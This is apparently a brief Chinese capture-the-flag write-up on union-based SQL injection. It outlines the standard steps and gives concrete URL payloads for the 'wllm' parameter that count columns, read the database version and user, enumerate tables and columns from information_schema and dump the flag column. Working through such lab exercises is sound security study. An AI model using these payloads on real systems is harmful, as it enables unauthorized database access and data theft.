SQL注入流程:
1. 是否存在注入并且判断注入类型
2. 判断字段数 ' order by 数字 -- '
3. 确定回显点 -1 ' union select 1,2 -- '
4. 查询数据库信息 @@version @@datadir
5. 查询用户名,数据库名 user() database()
6. 查询表名 -1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- '
7. 查询列名 -1 ' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='表名' -- '
8. 查询flag -1 ' union select 1,2, group_concat(flag所在的列名) from 表名、
检查源码,看是否有参数
需要用到参数wllm
/?wllm=1
判断字段数
/?wllm=-1 ' union order by 3 -- '
查看回显点
/?wllm=-1 ' union select 1,2,3 -- '
/?wllm=-1 ' union select 1, 2, @@version -- '
MariaDB数据库管理系统是MySQL的一个分支,说明需要使用mysql语句注入
/?wllm=-1 ' union select 1, 2, user() -- '
显示root@localhost,说明该用户为root超级管理员用户帐户,可以查看数据库信息
爆表
/?wllm=-1 ' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='test_db'-- '
有两个表
爆列
/?wllm=-1 ' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='test_tb' -- '
/?wllm=-1 ' union select 1,2, group_concat(flag) from test_tb -- '